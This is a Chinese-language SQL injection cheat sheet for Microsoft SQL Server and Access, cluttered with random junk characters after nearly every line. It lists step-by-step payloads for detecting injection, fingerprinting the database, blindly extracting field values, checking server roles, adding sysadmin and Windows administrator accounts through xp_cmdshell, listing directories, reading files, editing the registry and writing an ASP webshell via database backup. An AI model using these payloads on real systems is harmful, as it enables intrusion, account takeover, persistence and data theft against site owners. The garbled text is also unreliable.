1.判断是否有注入;and 1=1 ;and 1=2 |^"1{7)
2.初步判断是否是mssql ;and user>0 MDZ640-Y
2>xF){`
3.注入参数是字符'and [查询条件] and ''=' X;
\+<LE
=vCY?I$P
4.搜索时没过滤参数的'and [查询条件] and '%25'=' n?!">G
HSE!x_$
5.判断数据库系统 B
dj!ia;H
T= y}y
;and (select count(*) from sysobjects)>0 mssql %op**@4/t\
)Pa'UGY
;and (select count(*) from msysobjects)>0 access Ct <udO
^B.5GK)!
P:K5",)
v!-/&}W)1
6.猜数据库 ;and (select Count(*) from [数据库名])>0 pSH=%u>
Mlg0WrJ|2
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 W fN2bsx>
5,lEx1{_
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 mUAi4N
W dK #ZOR
9.(1)猜字段的ascii值(access) fM :]&
B?gOHG*vd>
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 6RU~"C
~|DUt
(2)猜字段的ascii值(mssql) YlJ@XpKM
CAig]=2'
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 \j}ZB<.>
\_VA50
10.测试权限结构(mssql) $lfn(b,
GE:vp>>}`
+/4A
e9Wa<i8
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- gS!:+G%
@muRxi
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- HYD'.uj
]`!>6/[
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- |#v7/$!
D#9m\o_
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- L~(j3D*
3
.FP$m?
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- R^8o^z['6u
T8?Ghbn
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ;RZ )
P8OaoPj
;and 1=(select IS_MEMBER('db_owner'));-- KC*e/J
1W
c=5!
<yV"6/l0
Ljm[?*H#
11.添加mssql和系统的帐户 r(>@qGN
VD;01"#'
;exec master.dbo.sp_addlogin username;-- W 8<&gh+
;exec master.dbo.sp_password null,username,password;-- H5/6TX72N
X~bX5b[P
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- \Gef \
u74[>^
;exec master.dbo.xp_cmdshell 'net user username password ]? c
B:}
ydEoC$?0
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ?>9/#Nv
@W.S6;GA\
;exec master.dbo.xp_cmdshell 'net user username password /add';-- &N$<e(K
etQCzYIhn
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- '?{OZXg
&C5_g$Ma.Z
+zqn<<9
d"1]4.c
12.(1)遍历目录 `GBW%X/
-u+vJ6EY
;create table dirs(paths varchar(100), id int) df8k7D;~e
l
K{hVqpt
;insert dirs exec master.dbo.xp_dirtree 'c:\' zEX
/s&9SYF
;and (select top 1 paths from dirs)>0 EmWn%eMN
f3l&3hC
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) zy?|ODM
b<[Or^X
]
=`oCLsz=
y%$AhRk*U
(2)遍历目录 h%na>G
x
M/+L:_<
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- #b}Z`u?@
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 s*KhF'fN
f1RWP@iar
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 un"Gozmt5
"m$##X\
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 tyDU
@M
RZ?jJm$
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 S"QWB`W2
5X$ jl;6
WF+99?75
ij`w} V
13.mssql中的存储过程 z]y.W`i
;\dBfP
xp_regenumvalues 注册表根键, 子键 %)8}X>xq
a 7V-C
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 cGzPI+F
9MJG;+B~
xp_regread 根键,子键,键值名 oG?Xk%7&\
@+2=g WH
;exec xp_regread OX7M8cmc+
VQt0 4?
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 h
0Q5-EA
`:KY\
xp_regwrite 根键,子键, 值名, 值类型, 值 >Eto(
y"q
2 c{34:
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 `cUl7 'j
s?}e^/"v
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ;7V%#-
nPl?K:(
xp_regdeletevalue 根键,子键,值名 &i6mW8l
9wwqcx)3(
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 U(g:zae
0RLg:SV
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 Qbn"=n2
azp):*f("
<{cQM$#
E6ElNgL
14.mssql的backup创建webshell n
M*%o-
zu{P#~21
use model }q`S$P;
"ne?P9'hF
create table cmd(str image); 7,o7Cf2 z
9}<ile7^
insert into cmd(str) values (''); d.d/<
$ @`V
backup database model to disk='c:\l.asp'; NP3y+s
)~JHgl
BLiF
5
ZDYJ\ }=
15.mssql内置函数 X51:
c9u`!'g`i
;and (select @@version)>0 获得Windows的版本号 Vaw+.sG`AP
P* BmHz4KL
;and user_name()='dbo' 判断当前系统的连接用户是不是sa k)=s>&hl
K;H&n1
;and (select user_name())>0 爆当前系统的连接用户 nT$SfGFj8
D8?Vn"
;and (select db_name())>0 得到当前连接的数据库 CxW>~O:
ZG8DIV\D7
08\,<9
fxHH;hRfv
16.简洁的webshell /%1ON9o>
`kXs;T6&
use model %pL''R9VF
:J&oX
<nF^
create table cmd(str image); MH\dC9%p
`mJ6K&t$<
insert into cmd(str) values (''); pO3SUOP
rw JIx|(
backup database model to disk='g:\wwwtest\l.asp';